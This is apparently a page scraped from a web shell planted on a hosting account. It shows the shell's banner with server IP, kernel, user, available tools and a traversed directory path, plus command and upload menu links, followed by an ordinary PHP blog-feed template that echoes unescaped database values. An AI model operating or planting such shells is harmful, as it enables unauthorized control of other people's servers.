Server IP : 103.53.40.154 / Your IP : 3.15.203.246 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/emogli.com/../milkodelight.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<section class="bd-news__area pt-20 pb-30"> <div class="container"> <div class="row"> <div class="bd-section__title-wrapper text-center mb-50"> <span class="bd-sub__title">News Feeds</span> <h2 class="bd-section__title">Our blogs </h2> </div> <?php $sqlblogs = "SELECT * FROM tbl_blog WHERE blog_status='Active' ORDER BY `b_id` DESC"; $runblogs = mysqli_query($db,$sqlblogs) or die("Query Not run"); $count=0; while($datablogs = mysqli_fetch_assoc($runblogs)){ if(mysqli_num_rows($runblogs) > 0){ $count++; $dateString=$datablogs['date']; $timestamp = strtotime($dateString); $formattedDate = date("d-M-Y", $timestamp); ?> <div class="col-xl-3 col-lg-6 col-md-6"> <div class="bd-news__item mb-30"> <div class="bd-news__thumb-2 w-img"> <a href="<?php echo $wspath?>blog<?php echo $datablogs['slug_link'];?>.html"> <img src="<?php echo $wspath?>admin/images/property-image/<?php echo $datablogs['image'];?>" alt="<?php echo $datablogs['title'];?>"> </a> </div> <div class="bd-news__content-2"> <span><i class="fa-solid fa-calendar-days"></i> <?php echo $formattedDate?></span> <h3 class="bd-news__title-2"> <a href="<?php echo $wspath?>blog<?php echo $datablogs['slug_link'];?>.html"><?php echo $datablogs['title'];?></a> </h3> </div> </div> </div> <?php } } ?> </div> </div> </section>